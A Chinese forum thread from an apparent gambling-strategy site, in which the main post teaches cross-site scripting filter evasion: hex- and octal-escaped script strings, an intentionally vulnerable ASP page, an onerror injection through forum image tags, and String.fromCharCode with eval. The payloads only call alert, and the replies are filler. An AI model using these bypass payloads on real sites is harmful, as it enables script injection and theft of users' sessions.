博路发

标题: 解答会员提问的XSS使用以及转码的视频教程 [打印本页]

作者: bete68.com    时间: 2018-8-14 11:53
标题: 解答会员提问的XSS使用以及转码的视频教程
本帖最后由 bete68.com 于 2018-8-14 12:13 编辑

首先感谢录制本次视频教程的某小组技术人员,本次解答内容是因为论坛一个叫xiaozai的会员提问XSS如何过滤,以及http://www.bete68.com/thread-6165-1-1.html这篇文章的综合回答,虽然已经超出了论坛回答范围了,但是博路发论坛本着有问必答的态度邀请了某技术论坛里的人员进行本次视频的录制,视频教程地址在文章末尾,提醒一下这位会员,博路发是一个菠菜策略综合论坛,以后尽量别提问这种编外话题,提问了又不能不解答,好为难客服妹子吆

言归正传,这篇文章一定要好好看,然后再看视频教程
很多网站为了避免XSS的攻击,对用户的输入都采取了过滤,最常见的就是对<>转换成<以及>,经过转换以后<>虽然可在正确显示在页面上,但是已经不能构成代码语句了。这个貌似很彻底,因为一旦<>被转换掉,什么<script src=1.js></script>就会转换成“<script src=1.js></script>”,不能执行,因此,很多人认为只要用户的输入没有构成<>,就不能闭合前后的标签,其语句当然也不会有害。
但是,万事总有可能,只要有一定的条件,我们就可以构造经过编码后的语句来进行XSS。
1转义字符
首先要认识一下“\”,这个不是斜杠么。对的,斜杠在JAVASCRIPT有着特殊的用途,它是转义的符号。例如,我们把我们XSS语句转换成16进制,这里是<script>alert(‘poruin’)</script>,我用在CHA88那里淘过来的脚本工具来转换,
解答会员提问的XSS使用以及转码的视频教程
结果如下
\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x70\x6F\x72\x75\x69\x6E\x27\x29\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E
这些就是经过编码后的字符,因为前面的斜杠缘故,所以后面的这些字符在JAVASCRIPT中都会被还原。
我们再来看一下测试用的index.asp
<form name=form>
<input type=text name=text1>
<input type=submit name=submit>
</form>
<%
if request("text1")<> "" then
a=replace(replace(request("text1"),"<","<"),">",">")
end if
%>
<script>
a="<%=a%>"
document.write(a)
</script>
很简单的内容,接受用户的数据后过滤<>,再用JAVASCRIPT显示出来,直接输入XSS的测试语句看看,被转换掉了吧。再来输入经过16进制转换后的字符,这些字符都可以轻松的逃过过滤,完整进入代码中,经过JAVASCRIPT还原之后,正确解释出来。
而不但是十六进制可以,八进制同样奏效,转换后代码如下:
\74\163\143\162\151\160\164\76\141\154\145\162\164\50\47\160\157\162\165\151\156\47\51\74\57\163\143\162\151\160\164\76
二.UBB标签
UBB标签是目前广泛运用到论坛,留言簿,以及其他网站系统的一种编码标签,用户在中间输入地址后即可,在发表的时候系统会自动改成<img src=”url”></img>。这个URL就是用户输入的图片地址,XSS攻击中,可以利用这个特点来达到无需用户输入<>就能执行由用户所输入的代码,我们只要在输入网址的地方输入:
x"/**/onerror="alert('poruin')
那么经过转换后就变成了
<img src="x"/**/onerror="alert('poruin')"></img>
在JS中空格可以用/**/转换
三.JS还原函数
JS中的编码还原函数最常用的就是String.fromCharCode了,这个函数用于ascii码的还原,一般来说,这个函数都要配合EVAL来使用才有效果。
在跨站中,String.fromCharCode主要是使到一些已经被列入黑名单的关键字或语句安全通过检测,把关键字或语句转换成为ASCII码,然后再用String.fromCharCode还原,因为大多数的过滤系统都不会把String.fromCharCode加以过滤,例如关键字alert被过滤掉,那就可以这么利用:
<img src="x"/**/onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,112,111,114,117,105,110,39,41))"></img>
执行效果如上图一样,没有关键字同样执行想要执行的代码。


本次视频教程链接,回复可见:

作者: 恶魔之吻    时间: 2018-8-14 11:55
速度,火钳刘明!
作者: kuai1998    时间: 2018-8-14 18:05
这是做什么用的
作者: 康健    时间: 2018-8-14 20:45
有空一起交流一下
作者: 侠岚    时间: 2018-8-16 17:10
看完帖子,洗洗睡了,论坛的朋友们明天见
作者: 金汉    时间: 2018-8-16 19:10
时间过的真快,一不留神我也抢了回沙发!
作者: 银河护卫队    时间: 2018-8-17 07:29
我有一个问题想请版主解答,你们博路发为什么会员问的任何问题你们都能找到专业人士来解答呢?好霸气的感觉
作者: 南烟    时间: 2018-8-17 10:48
只相信博路发论坛
作者: 尔蓝    时间: 2018-8-17 13:59
很喜欢这个网站的文章。
作者: 雁丝    时间: 2018-8-17 15:31
报告!别开枪,我就是路过来看看的。。。
作者: 招商银行    时间: 2018-8-17 19:39
呵呵。。。
作者: 爆菊花    时间: 2018-8-18 06:19
我每天下班第一件事就是逛博路发,说不定就有惊喜帖子出现
作者: 裁决    时间: 2018-8-18 07:39
我听说论坛的积分是回帖或者是发表原创文章得来的,我也准备写一下最近的技术心得
作者: 教务处    时间: 2018-8-18 09:59
刚起床,睁开眼就看到楼主的帖子了,顶一下!
作者: 鬼神无双    时间: 2018-8-18 12:19
众里寻他千百度,蓦然回首在这里!
作者: 绝命毒师    时间: 2018-8-18 16:37
感谢论坛里藏龙卧虎的,竟然任何问题都能找到专业的来解答
作者: 代丝    时间: 2018-8-18 20:06
花生、瓜子预备着,我要准备坐沙发了!
作者: 许丽    时间: 2018-8-19 05:41
在博路发这个网站学到了很多东西
作者: 南生    时间: 2018-8-19 06:56
我灌水两年了都,就相信博路发
作者: 斗破苍穹    时间: 2018-8-19 11:39
站位支持
作者: 犀利仁师    时间: 2018-8-19 15:35
非常好,顶一下
作者: xiaozai    时间: 2018-8-19 18:54
谢谢了     学习一下
作者: 严若丹    时间: 2018-8-19 20:57
楼下的,觉得比特币咋样啊?
作者: 蒋仕林    时间: 2018-8-21 07:19
我每天下班第一件事就是逛博路发,说不定就有惊喜帖子出现
作者: 女人俱乐部    时间: 2018-8-21 09:37
说的非常好
作者: baggio1989    时间: 2018-12-9 14:37
学习  学习 支持支持
作者: biebaoyin6    时间: 2018-12-23 05:46
看看大神啊
作者: sam1688    时间: 2019-1-6 14:25
这教程给力,版主强大
作者: love96111    时间: 2019-1-25 17:53
5
56
54456
作者: aa2771100    时间: 2019-7-7 23:31
感谢博主分享,学习了
作者: happycai132    时间: 2020-4-21 10:27
你们都是高手
作者: justdoit    时间: 2020-5-28 09:59
XSS使用以及转码的视频教程
作者: ssh354422641    时间: 2020-6-4 14:24
键字同样执行想要执行的代码
作者: fengshenzhilu88    时间: 2020-6-16 10:18
回帖是种美德
作者: ssh354422641    时间: 2021-8-20 07:31
这么好的,真好
作者: 啊天    时间: 2021-11-14 02:07
牛逼
作者: xiangyuan123    时间: 2021-11-25 12:39
虽然不懂,但支持
作者: bolu7788    时间: 2022-8-8 13:58
值得看一下的样子




欢迎光临 博路发 (http://www.bete68.com/) Powered by Discuz! X3.2